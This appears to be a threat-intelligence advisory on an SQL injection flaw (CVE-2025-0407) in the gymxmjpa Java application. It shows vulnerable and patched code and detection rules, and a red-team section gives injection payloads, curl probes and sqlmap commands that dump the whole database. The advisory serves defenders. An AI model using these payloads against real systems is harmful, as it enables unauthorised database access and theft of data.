CVE-2025-0407

Executive Summary

CVE-2025-0407 is a critical SQL injection vulnerability discovered in the liujianview gymxmjpa application version 1.0. The flaw resides in the EquipmentDaoImpl function within the EquipmentController.java file. By manipulating the hyname argument, an unauthenticated remote attacker can inject arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential lateral movement within the network. The exploit has been publicly disclosed, and no official patch is currently available.

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'). The CVSS v3.1 base score is 9.8 (Critical) due to network attack vector, low attack complexity, no privileges required, and no user interaction needed.

Supply Chain & Package Security

This is a Java-based application (likely a Spring Boot project using JPA/Hibernate). The vulnerability is in the application's own code, not in a third-party package. However, the lack of a patch and public exploit disclosure makes it a high-risk component in any software supply chain that includes gymxmjpa.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Ability to modify or delete data.
• Availability (A): High (H) – Potential for denial of service via SQL injection.

Threat Level: Critical. Immediate action is required to isolate or mitigate the vulnerable application.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in a JPA/Hibernate-based application. The EquipmentController.java file exposes an endpoint that accepts the hyname parameter. This parameter is passed directly to the EquipmentDaoImpl class without proper sanitization or parameterized query usage.

Vulnerable Code Path:

1. User sends a GET/POST request to the endpoint with hyname parameter.
2. EquipmentController calls EquipmentDaoImpl.findByHyname(hyname).
3. Inside EquipmentDaoImpl, the hyname value is concatenated directly into a SQL query string.
4. The query is executed against the database, allowing the attacker to inject SQL commands.

Example vulnerable query (pseudo-code):

String sql = "SELECT * FROM equipment WHERE hyname = '" + hyname + "'";
Query query = entityManager.createNativeQuery(sql);

Attack Vector:

• The attacker sends a crafted hyname value such as: ' OR '1'='1
• This modifies the query to: SELECT * FROM equipment WHERE hyname = '' OR '1'='1'
• This returns all rows from the equipment table.

Advanced exploitation:

• Union-based injection: ' UNION SELECT username, password FROM users--
• Blind injection: ' AND (SELECT 1 FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a')--
• Time-based injection: ' OR IF(1=1, SLEEP(5), 0)--

Vulnerable vs. Patched Code

Vulnerable Code (EquipmentDaoImpl.java):

public List<Equipment> findByHyname(String hyname) {
    String sql = "SELECT * FROM equipment WHERE hyname = '" + hyname + "'";
    Query query = entityManager.createNativeQuery(sql, Equipment.class);
    return query.getResultList();
}

Patched Code (using parameterized query):

public List<Equipment> findByHyname(String hyname) {
    String jpql = "SELECT e FROM Equipment e WHERE e.hyname = :hyname";
    TypedQuery<Equipment> query = entityManager.createQuery(jpql, Equipment.class);
    query.setParameter("hyname", hyname);
    return query.getResultList();
}

Explanation:

• The vulnerable code concatenates user input directly into the SQL string.
• The patched code uses a parameterized query (:hyname), which safely escapes the input.
• Alternatively, using PreparedStatement in JDBC or JPA's setParameter prevents injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target application running gymxmjpa version 1.0.
• Network access to the vulnerable endpoint (e.g., http://target:8080/equipment/findByHyname).

Step 1: Basic SQL Injection Detection

curl -G "http://target:8080/equipment/findByHyname" --data-urlencode "hyname='"

If an error is returned (e.g., SQL syntax error), the endpoint is vulnerable.

Step 2: Union-Based Data Extraction

curl -G "http://target:8080/equipment/findByHyname" --data-urlencode "hyname=' UNION SELECT 1,2,3,4,5--"

Adjust the number of columns to match the table structure.

Step 3: Automated Exploitation with sqlmap

sqlmap -u "http://target:8080/equipment/findByHyname?hyname=test" --batch --dbs

Step 4: Full Database Dump

sqlmap -u "http://target:8080/equipment/findByHyname?hyname=test" --batch --dump-all

Blue Team (Defensive)

Detection:

• Monitor for SQL error messages in application logs.
• Look for unusual characters in the hyname parameter (e.g., single quotes, UNION, SELECT, SLEEP).
• Use WAF rules to block SQL injection patterns.

Mitigation:

• Immediately apply input validation: allow only alphanumeric characters for hyname.
• Use parameterized queries (as shown in patched code).
• Deploy a Web Application Firewall (WAF) with SQL injection signatures.
• Restrict database user permissions to least privilege.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /equipment/findByHyname with SQL keywords in the hyname parameter.
• Unusual response sizes (e.g., large data dumps).
• Database error messages in HTTP responses.

Log IOCs:

• SQL syntax errors in application logs.
• Multiple failed login attempts (if authentication is bypassed).
• Unusual database queries (e.g., UNION SELECT, INFORMATION_SCHEMA).

File IOCs:

• Modified or new files in the application directory (if file write is possible).
• Suspicious entries in database logs.

Detection Engineering

YARA Rule

rule CVE_2025_0407_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-0407"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-0407"
    strings:
        $s1 = "hyname="
        $s2 = "' OR "
        $s3 = " UNION "
        $s4 = " SELECT "
        $s5 = " SLEEP("
        $s6 = "1=1"
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: CVE-2025-0407 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against gymxmjpa EquipmentController
author: Valters IT
date: 2025/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'hyname='
            - "'"
            - 'UNION'
            - 'SELECT'
            - 'SLEEP'
    condition: selection
falsepositives:
    - Legitimate use of special characters in names (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-0407 SQL Injection Attempt"; flow:to_server,established; content:"hyname="; nocase; content:"'"; distance:0; within:100; pcre:"/(\bUNION\b|\bSELECT\b|\bSLEEP\b|\bOR\b)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application – If possible, take the vulnerable service offline until a patch is applied.
2. Apply input validation – Whitelist allowed characters for hyname (e.g., only alphanumeric and spaces).
3. Deploy WAF rules – Block requests containing SQL injection patterns.
4. Monitor logs – Review application and database logs for signs of exploitation.

Long-Term Fix:

• Replace all dynamic SQL queries with parameterized queries or stored procedures.
• Use an ORM (like Hibernate) with proper parameter binding.
• Conduct a full security audit of the codebase.
• Implement a secure development lifecycle (SDLC) with static code analysis.

Patch Status: No official patch is available. The vendor (liujianview) has not released a fix. Users must apply the code-level fix described in the "Vulnerable vs. Patched Code" section.

Valters IT – DevSecOps & Cyber Threat Intelligence